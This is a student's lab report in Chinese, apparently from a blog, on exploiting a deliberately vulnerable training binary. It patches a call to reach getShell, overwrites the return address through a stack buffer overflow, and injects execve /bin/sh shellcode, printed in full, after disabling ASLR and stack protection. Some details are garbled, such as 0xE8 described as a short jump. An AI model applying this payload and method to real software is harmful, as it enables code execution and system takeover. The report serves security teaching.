实验一——Exp1 PC平台逆向破解(5)M

  • 一、实验说明

  • 1.1 实验目标

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 这几种思路,基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。
  • 1.2基础知识

    • 该实践需要同学们
    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi
    • 指令、参数:掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
      • NOP : 0x90 。作用: NOP 不执行操作,但占一个程序步。执行NOP时并不做任何事,有时可用NOP指令短接某些触点或用NOP指令将不要的指令覆盖。使程序计数器 PC 加 1 , cpu 继续执行其后一条指令。
      • JNE : 0x75 。作用:若不相等则转移。
      • JE : 0x74 。作用:等于则跳转。
      • JMP:无条件跳转指令。JMP主要分为3种:
        • 远跳转:机器码为0xEA。可跳至任意地址,使用48位/32位全指针
        • 近跳转:机器码为0xE9。可跳至同一个段范围内的地址
        • 短跳转:机器码为0xE8。只能跳转到256字节的范围内
      • CMP:比较指令,功能相当于减法指令,对操作数之间运算比较,不保存结果。CMP指令也有多种形式,分别代表不同的功能,机器码分别为0x38、0x39、0x3A、0x3B、0x3C、0x3D
  • 二、实验过程

  • (一)直接修改程序机器指令,改变程序执行流程

    • 知识要求: Call 指令, EIP 寄存器,指令跳转的偏移计算,补码,反汇编指令 objdump ,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握 ELF 文件格式,掌握动态技术
    • step0:准备工作
      • Step0.1:下载 pwn1 文件,并通过共享文件夹将 pwn1 存入 kali 虚拟机 Exp1 相应文件夹中,如下图所示。
      • step0.2:复制pwn1。为防止出错和满足实验要求,输入 cp pwn1 pwn120201223 对pwn1进行备份
    • step1:对可执行文件 pwn20201223 进行反汇编
    • 指令:objdump -d pwn20201223 | more
    • 一直按回车键,直至找到
      • 代码说明:
      • 反汇编得到的文件中,中间一列为机器指令,左边一列为机器指令所在的内存地址,右边一列为机器指令所对应的汇编语言。
      • 在 main 函数中,可以看出 main 函数直接通过 call 指令调用了 foo 函数。
      • call 8048491 是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“ e8 d7ffffff ”, e8  即跳转之意。
      • call指令相当于执行了 push %eip 和 jump 指定地址 两条指令。
      • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即 80484ba ,但如何解释 e8  这条指令呢, CPU 就会转而执行 “ EIP + d7ffffff ”这个位置的指令。“ d7ffffff ”是补码,表示 -41 , 41 = 0x29 , 80484ba  + d7ffffff =  80484ba - 0x29 正好是 8048491 这个值。
    • step2:计算修改的机器指令
      • main 函数调用 foo ,对应机器指令为 e8 d7ffffff
      • 那我们想让它调用getShell,只要修改“d7ffffff”为 "getShell-80484ba"对应的补码就行。即0804847d-80484ba=ffffffc3
      • 所以只要把 ffffffd7 改为 ffffffc3 ,就可以实现 main 函数调用 getShell 而不调用 foo 。
    • step3:修改可执行文件
      • 3.1 输入命令vi pwn20201223,这是由于 vi  打开的是文本文件,而 pwn20201223为可执行文件(相关知识),所以使用vi进入编辑模式会出现乱码。
      • 3.2 按ESC键,输入 :%!xxd ,将显示模式切换为16进制模式
      • 3.3 输入 /e8 d7 查找要修改的内容。
        • 如果查找到多个相同内容,可以前后对比几个字节,如果相同就是要查找的内容。如图所示,d7后为 ffffff ,是我们查找的内容。
      • 3.4 修改d7为c3(先按 i 进入编辑模式再改,改完按Esc键退出)
      • 3.5 输入 :%!xxd -r 转换16进制为原格式,如下图所示。
      • 3.6 输入:wq 退出vi
    • step4:验证
      • 再次反汇编看 call 指令是否正确调用 getShell 。如图所示,修改之后, call 指令调用的函数由 foo 函数改为了 getShell 函数。
      • 接下来运行修改过的 pwn20201223 ,发现可以直接调用 shell 。输入  ls  之后会显示文件夹内容,说明修改成功。
        • 在过程中,我遇到了报错zsh: permission denied。解决方法是chmod u+x赋予执行权限。
        • 已完成了对对应文件的修改。原来的可执行文件的功能是输入一段字符串,程序会重复输出该字符串,现在程序变成了打开一个“命令行”。在执行了ls命令后,成功打印出了当前目录下的所有文件
    • (二)通过构造输入参数,造成BOF攻击,改变程序执行流

    • 知识要求:堆栈结构,返回地址
    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
    • 进阶:掌握 ELF 文件格式,掌握动态技术
    • Step1:反汇编,了解程序的基本功能
      • 输入 objdump -d pwn2 | more 指令进行反汇编
      • 从图中可以看到三个函数: getShell 函数、 foo 函数以及 main 函数。我们的目标是触发 getShell 函数。main 函数会调用 foo函数,但是 foo  函数有 Buffer overflow 漏洞。
      • 根据汇编代码可以看到, foo 函数只为输入的字符流了28字节的空间,一旦超出就会覆盖 ebp 和 eip 的值。而 eip 一旦被覆盖,函数就会跳转到指定位置,我们的目标就是通过输入超长的字符串覆盖函数的返回地址。
    • step2:确认输入字符串哪几个字符会覆盖到返回地址
      • 2.1 首先在root下输入以下代码安装 gdb

        ```
        				  sudo chmod a+w /etc/apt/sources.list
        				  sudo chmod a-w /etc/apt/sources.list
        				  sudo su
        				  apt-get update
        				  apt-get install gdb
        ```
        
      • 2.2 分析覆盖返回地址的字符
      • 输入chmod u+x pwn2 获得权限,输入r开始运行
      • 输入为1111111122222222333333334444444455555555时,输入 info r 查看寄存器的值,( info  表示显示,  r  为寄存器( register ),即寄存器检查)可以看到eip的值0x35353535,也就是5555的ASCII码
      • 可以看到,由于输入了过长的字符串所以报错为 Segmentation fault。那只要把这四个字符替换为 getShell 的内存地址,输给pwn2,pwn2就会运行getShell。
    • step3:确认用什么值来覆盖返回地址
      • getShell的内存地址,通过反汇编时可以看到,即 0804847d 。接下来要确认下字节序,由1234对应0x34333231分析出应该是小端写法,所以我们应当输入 11111111222222223333333344444444\x7d\x84\x04\x08
      • 输入 break *0x804849d 在程序运行的内存地址0x804849d处打断点
      • 输入 info break 列出当前所设置的所有观察点
      • 输入  r  开始运行
      • 输入 info r查看当前寄存器的值
      • 如下图所示
      • 对比之前  eip == 0x34333231 0x34333231  ,正确应用输入  11111111222222223333333344444444\x7d\x84\x04\x08 
      • 根据之前反汇编的结果, getShell 函数的首地址是 0804847d ,根据小端优先的规则,所以输入的地址是 \x7d\x84\x04\x08 。那么攻击字符串就可以构造为 11111111222222223333333344444444\x7d\x84\x04\x08\x0a 。 \x0a 表示回车。
    • step4:构造输入字符串
      • 我们无法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值,如果直接输入会被直接读为16个字符,所以必须先生成包括这样字符串的一个文件。 x0a 表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
      • 此时可以利用 Perl 语言, Perl 是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将 Perl 生成的字符串存储到文件 input 中。
      • perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
        • 出现一个名为 input 的新文件。
        • 我们可以使用16进制查看指令 xxd 查看 input 文件,如下图所示。文件内容与预期相同。
      • 接下来,我们就可以通过管道服务  |  ,将 input 的输入作为 pwn2的输入。
      • 输入 (cat input; cat) | ./pwn2
        • 可以看到,已经通过 getShell 获取了终端,输入 ls -l 会执行相应操作。
    • (三)注入Shellcode并执行

  • step1:准备一段Shellcode

    ```
    		  \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    ```
    
    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • step2:准备工作

    • 输入 sudo apt-get install execstack  ,安装 execstack 命令
    • 		  execstack -s pwn3-20181330    //设置堆栈可执行
      		  execstack -q pwn3-20181330    //查询文件的堆栈是否可执行
      		  more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示2则表示目前是开启状态
      
    • 		  echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,0为关闭
      		  more /proc/sys/kernel/randomize_va_space  //查询地址随机化是否开启,显示0则表示目前是关闭状态
      
    • step3:构造要注入的payload
      • 3.0 前提知识
        • Linux下有两种基本构造攻击 buf 的方法:
          • retaddr + nop + shellcode
          • nop+ shellcode + retaddr
        • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面
        • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,具体取决于操作系统。
        • 我们这个 buf 够放这个了,所以我们采用的结构为: nop + shellcode + retaddr   nop 是空指令,他有两个作用
          • 为了填充 以及 作为“着陆区/滑行区”
        • 我们猜的返回地址只要落在任何一个 nop 上,自然会滑到我们的 shellcode 。
        • 这样的好处是减小了猜测地址的难度,只需要猜测大概范围即可。
        • 那么该如何猜测地址呢?我们采用动态调试 debug 的方法,注入时按调试地址注入。
      • 3.1 开始构造

        ```
        				  输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
        				  - 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
        				  特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
        ```
        
        • 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn20201223
        • 再开另外一个终端,用gdb来调试pwn20201223这个进程。
          • 输入·ps -ef | grep pwn20201223找到pwn20201223的进程号:19513
          • 启动gdb调试进程
          • 通过设置断点,来查看注入buf的内存地址。输入disassemble foo
            • 此时程序会在 ret 处断掉,注入的东西都在堆栈上了。 ret 执行完之后,就会跳到我们覆盖的 retaddr 的地方,也就是会跳到 1234 的地方。
            • 但是这个地址是不存在的,所以会报错。为了不让他报错而是继续执行,所以我们在这里终止程序。
          • 接着输入 break *0x080484ae ,在地址 *0x080484ae 处设置断点。
          • 此时我们设置好断点后在另一个终端按下回车使程序继续执行,再回到这个调试的终端输入 c  继续执行程序。
          • 终端2执行到上图位置时,在终端1中按下回车,此时终端1出现乱码
          • 我们再去gdb的终端输入 info r esp 查看 esp 寄存器的值为0xffe7381c。终端2继续执行,看到 01020304了,就是返回地址的位置。shellcode就在后面。
          • 在终端一内。将地址oxffe73820放进shellcode内
          • 输入input_shellcode
          • 输入 (cat input_shellcode;cat) | ./pwn20201223
          • 输入ls
  • 三、实验中遇到的困难与解决办法

    • 1.在安装execstack命令时,遇到安装失败的情况。因此我参考了网上的博客,在多次调整/etc/apt/sources.list文件中的内容,并比较了多个实验的内容,在排除掉部分运行过程中会出现404not found的情况后,得以解决,能够成功安装。
    • 2.在构造要注入的payload时,我在输入c进入continuing状态后,输入breakpoint,无法回到gdb状态。在查找gdb的调用方法和学会gdb状态下部分指令语言的使用后,得以解决。
    • 3.在构造要注入的payload时,最开始是按照实验指导书上的内容一步步往下做,但是中途发现实验失败。再重头开始做,得以成功解决。
    • 4.在构造要注入的payload时,一开始不知道进程号会改变,所以在某一次关闭进程后,再次打开进程时,输入了之前的进程号,导致实验失败。后找到原因,得以解决。
  • 四、实验心得

    • 本次实验和以前的很多实验不同,它更偏向实践,更有趣也更耗时,但是收获也更大。在此之前,我们都是学习的Ubuntu,第一次接触到kali,所以对于程序的某些语言不是很熟悉,需要用时现查。希望在之后的实验中能够逐渐熟悉,掌握实验的要点,学习到更多东西。
posted @ 2023-03-17 00:17  不加糖的酒  阅读(140)  评论(0)    收藏  举报